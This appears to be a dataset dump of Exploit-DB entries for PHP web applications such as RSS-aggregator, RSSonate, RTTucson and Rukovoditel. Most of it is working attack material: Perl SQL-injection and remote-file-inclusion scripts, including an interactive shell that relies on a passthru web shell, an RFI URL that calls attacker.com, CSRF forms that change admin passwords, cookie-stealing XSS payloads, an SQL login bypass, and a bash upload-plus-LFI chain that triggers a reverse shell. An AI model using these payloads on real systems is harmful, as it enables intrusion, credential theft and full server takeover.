deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40529
Description: RSS News AutoPilot Script 1.0.1/3.1.0 - Admin Panel Authentication Bypass
Type: webapps
Platform: php
Date: 2016-10-13
Author: Arbin Godar

Exploit:
# Exploit Title: RSS News AutoPilot Script - Admin Panel Authentication Bypass
# Date: 14 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Software Link: https://codecanyon.net/item/rss-news-autopilot-script/11812898
# Version: 1.0.1 to 3.1.0

-------------------------------------------------------------------------------

Description:
An Attackers are able to completely takeover the web application using RSS News - AutoPilot Script as they can gain access to the admin panel and manage the website as an admin.

Steps to Reproduce:
Step 1: Add: http://victim-site.com/admin/login.php in a rule list on No-Redirect Extension.
Step 2: Access: http://victim-site.com/admin/index.php
Step 3: Bypassed.

PoC Video: https://www.youtube.com/watch?v=jldF-IPgkds

Impact: Unauthenticated attackers are able to gain full access to the administrator panel and thus have total control over the web application.

Fix/Patch: Make use of PHP exit() or die() function. / Update to latest version.
Exploit-DB #7541
Description: RSS Simple News - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-22
Author: Piker

Exploit:
#!/usr/bin/perl
################################
##    Coded by Piker [piker(dot)ther00t(at)gmail(dot)com]
##      D.O.M Team
## piker,ka0x,an0de,xarnuz
## 2008 Security Researchers
################################
##
## RSS Simple News Remote SQL Injection Exploit
## http://sourceforge.net/projects/rss-simple-news/
##
##   This exploit tries to read an
##   arbitrary file.
##
##   It needs magic_quotes_gpc=off
##
################################

# piker@domlabs:~/advisories$ perl rss.pl http://localhost/rss /etc/passwd
#[+] File HEX: 0x2f6574632f[PII_REDACTED]64
#[+] Host: http://localhost/rss/
#[+] File content:
#daemon:x:1:1:daemon:/usr/sbin:/bin/sh
#bin:x:2:2:bin:/bin:/bin/sh
#sys:x:3:3:sys:/dev:/bin/sh
#sync:x:4:65534:sync:/bin:/bin/sync
#games:x:5:60:games:/usr/games:/bin/sh
# [...]
#[+] EOF
#
#


use LWP::UserAgent;

open(FILE, ">&STDOUT");

my $host = $ARGV[0];
my $file = $ARGV[1];

die &_USO unless $ARGV[1];

sub _USO
{
    die "
    RSS Simple News Remote Sql Injection Exploit

    This exploit tries to read an
    arbitrary file.

    It needs magic_quotes_gpc=off

    usage: ./$0 <host> <file_you_want>
    ex: ./$0 http://localhost/rss/ /etc/passwd

    ";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1");

my $tmp="0x";
my $tmp2;

foreach my $c (split(//, $file)){
    $tmp2 = sprintf ("%x", ord($c));
    $tmp .= $tmp2;
}

print FILE "[+] File HEX: ".$tmp."\n";

if ($host !~ /\/$/){ $host .= "/"; }

print FILE "[+] Host: ".$host."\n";

my $req = HTTP::Request->new(GET => $host."news.php?pid=-1' union select 1,2,3,4,CONCAT(0x3c46494c453e,load_file(".$tmp."),0x3c46494c453e),6 and 'a'='a");
my $res = $ua->request($req);
my $con = $res->content;

my $ok = 0;
open (OUT, ">result.txt");

if ($res->is_success){
    foreach my $linea (split(/\n/, $con)){
        if($ok == 1){
            if ($linea !~ /<FILE>/){
                print FILE $linea."\n";
        print OUT $linea."\n";
            }else{
                print FILE "\n[+] EOF\n";
        print "\n[+] File saved into 'result.txt'\n";
                goto salida;
            }
        }
        if($linea =~ /<FILE>/i && $ok == 0){
            $ok = 1;
            print FILE "[+] File content: \n";
        }
    }
    salida:
    if ($ok == 0){
        print FILE "[-] Exploit Failed!\n";
    }      
}
else{
    print FILE "[-] Exploit Failed!\n";
}

close(FILE);
close(OUT);

#EOF

# milw0rm.com [2008-12-22]
Exploit-DB #5900
Description: RSS-aggregator - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-22
Author: Ghost Hacker

Exploit:
##############################################################
 RSS-aggregator (display) Remote File Inclusion Vulnerability
##############################################################
[~] Found : Ghost Hacker [ R-H TeaM ]
[~] HOME  : www.Real-Hack.net
[~] Email : Ghost-r00t@Hotmail.com
[~] Script : RSS-aggregator
[~] Download Script : http://www.rss-aggregator.com/download.php
=========================== [ Viva IslaM ] ==========================
Error ( display.PHP ) :
include_once($path.'/admin/fonctions/config.php');

Exploit :
http://xxxx/[Path]/display.php?path=[EVIL]
=========================== [ Viva IslaM ] ==========================
[~] Gootz :
PROTO & QaTaR BoeZ TeaM & v4 TeaM & Aseg-Rabe7 & Dmar al3noOoz & 4Bo3tB & Jiko & Mr.JUVE
Mr.hope & Mr.MoSoS & x.CJP.x & Dr.Shares & eLe$ & MR.SQL & QaT HaCkEr ..
All Member Real Hack And All My Friends ..
##############################################################
 Found By Ghost Hacker & My TeaM R-H
##############################################################

# milw0rm.com [2008-06-22]
Exploit-DB #32001
Description: RSS-aggregator 1.0 - 'IdFlux' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-30
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/30016/info

RSS-aggregator is prone to multiple SQL-injection and authentication-bypass vulnerabilities.

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, and gain administrative access to the affected application.

RSS-aggregator 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/fonctions/supprimer_flux.php?IdFlux=[SQL injection]
Exploit-DB #32002
Description: RSS-aggregator 1.0 - 'IdTag' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-30
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/30016/info
 
RSS-aggregator is prone to multiple SQL-injection and authentication-bypass vulnerabilities.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, and gain administrative access to the affected application.
 
RSS-aggregator 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/fonctions/supprimer_tag.php?IdTag=[SQL injection]
Exploit-DB #32003
Description: RSS-aggregator 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-06-30
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/30016/info
  
RSS-aggregator is prone to multiple SQL-injection and authentication-bypass vulnerabilities.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, and gain administrative access to the affected application.
  
RSS-aggregator 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/fonctions/supprimer_flux.php?IdFlux=5
http://www.example.com/admin/fonctions/modifier_tps_rafraich.php?TpsRafraich=500
Exploit-DB #34444
Description: RSSMediaScript - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-16
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42421/info

RSSMediaScript is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo/index.php?cat=5&page=1"><script>alert(document.cookie);</script>
Exploit-DB #28892
Description: RSSonate - 'Project_Root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-01
Author: Arab4services

Exploit:
source: https://www.securityfocus.com/bid/20849/info

RSSonate is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/getFeed/inc/session.php?PROJECT_ROOT=http://www.attacker.com/c-h.v2.txt?ls
Exploit-DB #2605
Description: RSSonate - 'xml2rss.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-21
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# RSSonate remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://www.gocc.gov/groups/RI_SOS/software/sqltorss
#
# Exploit: 
#   http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/config_local.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/rssonate.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/sql2xml.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script]
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".     RSSonate remote Command Execution Vulnerabilities       .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];	
chomp($shell);
    
$path = $path."/Src/getFeed/inc/xml2rss.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?PROJECT_ROOT=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2006-10-21]
Exploit-DB #43862
Description: RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin Pass)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://putrazendrato.link/
# Software Link: https://www.codegrape.com/item/rsvp-invitation-online/3890
# Demo: http://putrazendrato.link/rsvp/login.php
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5976
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
# 1)
-->
<html>
<body>
<form method="post" action="http://localhost/rsvp/function/account.php">
<!--Change admin pass-->
<input name="newpassword" type="text" value="efe">
<!--Change admin pass confirm-->
<input name="confirm" type="text" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>
Exploit-DB #13744
Description: RTRandomImage - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-06
Author: Sn!pEr.S!Te Hacker

Exploit:
|| || | ||  
 o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, 
 ( : / (_) / ( 
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 
0     _                   __           __       __                     1 
1   /' \            __  /'__`\        /\ \__  /'__`\                   0 
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1 
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0 
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1 
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0 
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1 
1                  \ \____/ >> Exploit database separated by exploit   0 
0                   \/___/          type (local, remote, DoS, etc.)    1 
1                                                                      1 
0  [+] Site            : Inj3ct0r.com                                  0 
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1 
0                                                                      0 
1                    ########################################          1 
0                    I'm Sn!pEr.S!Te member from Inj3ct0r Team          1 
1                    ########################################          0 
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

# ------------------------------------------------------------  
# Remote File Inclusion Vulnerability 
# -----------------------------------------------------------  
   
RTRandomImage <==0.1  (index.php) 
   
-------------------------------------------------------------- 
# [+] Author : Sn!pEr.S!Te Hacker #   
# [+] Email : sniper-site@HoTMaiL.coM #   
# [+] Inj3ct0r Team Hacker #   
# [+] 5-6-2010 #  
# [+] Script : Image Galleries » RTRandomImage# 
# [+]Version: [0.1] #
# [+] Download:http://www.toldo.info/roberto/files/RTRandomimage.zip
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
 -=[ exploit ]=-

http://localhost/RTRandomimage/index.php?text_name=[inj3ct0r sh3ll]


http://127.0.0.1/RTRandomimage/index.php?text_name=[inj3ct0r sh3ll]


=========================| -=[ THE END]=- |=========================
Exploit-DB #24522
Description: RTTucson Quotations Database - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-20
Author: 3spi0n

Exploit:
##################################################################################
       __            _                      _            ____            
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ / 
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, /  
                                                                /____/   
##################################################################################																
RTTucson Quotations Database Script, Multiple Vulnerabilities
Software Page: http://www.rttucson.com/index.html
Script Demo: http://www.rttucson.com/quotations/default.php

Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhatz Inc. and Janissaries Platform.
##################################################################################

[~] MySQL Injection on Demo Site 

[+] (author.php, ID Param)
>>> http://server/quotations/author.php?ID=5' (MySQLi Found)

[+] (category_quotes.php, ID Param)
>>> http://server/quotations/category_quotes.php?ID=9' (MySQLi Found)

[~] XSS on Demo Site

>> (quote_search.php, keywords Param)
>>> http://server/quotations/quote_search.php?keywords=<h1>Xssed-3spi0n</h1>
Exploit-DB #24533
Description: RTTucson Quotations Database Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2013-02-21
Author: cr4wl3r

Exploit:
# RTTucson Quotations Database Script (Auth Bypass) SQL Injection Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script: http://www.rttucson.com/files.html

# Bugs found /quotations/admin/include/login.php
---------------------------
36 if ($_POST['submit']) {
37
38 $Username = $_POST['Username'];
39 $Password = md5($_POST['Password']);
40
41 $query = "SELECT * from UsersTBL WHERE Username='$Username' AND [CREDENTIAL_REDACTED]'";
42 $result = mysql_query($query) or die ( mysql_error() );
---------------------------

Proof of Concept

  http://bastardlabs/[path]/admin/include/login.php
  Username: 'or'1=1
  [CREDENTIAL_REDACTED]
Exploit-DB #21817
Description: Rudi Benkovic JAWMail 1.0 - Script Injection
Type: webapps
Platform: php
Date: 2002-09-23
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/5771/info

Problems with JAWMail could make it possible to execute arbitrary script code in a vulnerable client.

JAWMail does not sufficiently filter malicious HTML code from e-mails. As a result, when a user opens an email in JAWMail that contains malicious HTML code, the code contained in the mail would be executed in the browser of the mail user.

<b onMouseOver="alert(document.cookie)">bolder</b>
Exploit-DB #49245
Description: Rukovoditel 2.6.1 - Cross-Site Request Forgery (Change password)
Type: webapps
Platform: php
Date: 2020-12-14
Author: KeopssGroup0day_Inc

Exploit:
# Exploit Title: Rukovoditel 2.6.1 - Cross-Site Request Forgery (Change 
password)
# Date: 2020-12-14
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: v2.6.1
# Tested on: Kali Linux

POC(localhost/index.php?module=users/change_password):

<html>
   <!-- CSRF PoC  -->
   <body>
   <script>history.pushState('', '', '/')</script>
     <form 
action="https://localhost/index.php?module=users/change_password&action=change" 
method="POST">
       <input type="hidden" name="form&#95;session&#95;token" 
value="D&#94;HUyTDh0X" />
       <input type="hidden" name="password&#95;new" value="123456789" />
       <input type="hidden" name="password&#95;confirmation" 
value="123456789" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
</html>


--
Exploit-DB #49238
Description: Rukovoditel 2.6.1 - RCE (1)
Type: webapps
Platform: php
Date: 2020-12-11
Author: coiffeur

Exploit:
# Exploit Title: Rukovoditel 2.6.1 - RCE
# Date: 2020-06-11
# Exploit Author: coiffeur
# Write Up: https://therealcoiffeur.github.io/c1010
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: v2.6.1
# CVE: CVE-2020-11819

set -e

function usage () {
    echo "NAME: Rukovoditel v2.6.1, RCE"
    echo "SYNOPSIS: ./rce_2.6.1.sh <BASE_URL> <SID>"
    echo "DESCRIPTION:"
    echo "Upload file test.php on the remote server and trigger the file using a LFI"
    echo "AUTHOR: coiffeur"
    exit
}

if [ "$#" -ne 2 ]; then
    usage
fi

BASE_URL=$1
SID=$2
echo "Setting target: $BASE_URL"
echo "Setting sid: $SID"

echo ""

echo "Extracting \$app_user['id']:"
APP_USER_ID=`curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID" | grep "validate_form&id=" | cut -d '=' -f 3 | cut -d "'" -f 1`
echo "  =>  \$app_user['id']: $APP_USER_ID"

echo "Setting arbitrary \$_POST['timestamp']:"
TIMESTAMP=1337
echo "  =>  \$_POST['timestamp']: 1337"

echo "Calculating \$verifyToken:"
VERIFY_TOKEN=`echo -n "$APP_USER_ID$TIMESTAMP" | md5sum | cut -d ' ' -f 1=`
echo "  =>  \$verifyToken: $VERIFY_TOKEN"
echo ""

echo "[*] Trying to upload test.php ... (Arbitrary File Upload)"
curl "$BASE_URL/index.php?module=users/account&action=attachments_upload" -H "Cookie: sid=$SID" -F "timestamp=$TIMESTAMP" -F "token=$VERIFY_TOKEN" -F 'Filedata=@test.php'

echo ""

echo "[*] Trying to recover time() output:"
TIME=$(date -d "`curl -si "$BASE_URL" | grep "Date:" | sed 's/Date: //'`"= +%s)
echo "  =>  timestamp: $TIME"

echo "[*] Trying to recover the generated filename:"=20
FILENAME=` echo -n $TIME"_test.php" | sha1sum | cut -d ' ' -f 1`
echo "  =>  filename: $FILENAME"

echo "[*] Trying to reconstructing full path:"
DATE=`date +"%Y/%m/%d"`
FULL_PATH=`echo -n "uploads/attachments/$DATE/$FILENAME"`
echo "  =>  full path: $FULL_PATH"

echo ""

echo "[!] Prepare a netcat listener by typing: nc -lvp 4444"

echo ""

echo "[*] Trying to update language settings  ... (Local File Inclusion)"
LANGUAGE="../../$FULL_PATH"
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=$LANGUAGE"

echo "[*] Triggering reverse shell ..."
curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID="

echo "[*] Restoring default language settings"
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=english.php"
echo "> Done"
Exploit-DB #51121
Description: rukovoditel 3.2.1 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-28
Author: nu11secur1ty

Exploit:
## Title: rukovoditel 3.2.1 - Cross-Site Scripting (XSS)
## Author: nu11secur1ty
## Date: 11.03.2022
## Vendor: https://www.rukovoditel.net/
## Software: https://sourceforge.net/projects/rukovoditel/files/rukovoditel_3.2.1.zip/download
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1

## Description:
The application is vulnerable to DOM-based cross-site scripting
attacks. Data is read from `location.hash` and passed to
`jQuery.parseHTML`.
The attacker can use this vulnerability to create an unlimited number
of accounts on this system until it crashed.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```POST
GET /rukovoditel/index.php?module=users/restore_password HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63
Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: sid=jf2mf72r2kfakhhnn6evgusrcg;
cookie_test=please_accept_for_session;
app_login_redirect_to=module%3Ddashboard%2F
Upgrade-Insecure-Requests: 1
Referer: http://pwnedhost.com/rukovoditel/index.php?module=users/login
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1)

## Proof and Exploit:
[href](https://streamable.com/i1qmfk)

## Time spent
`3:45`

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>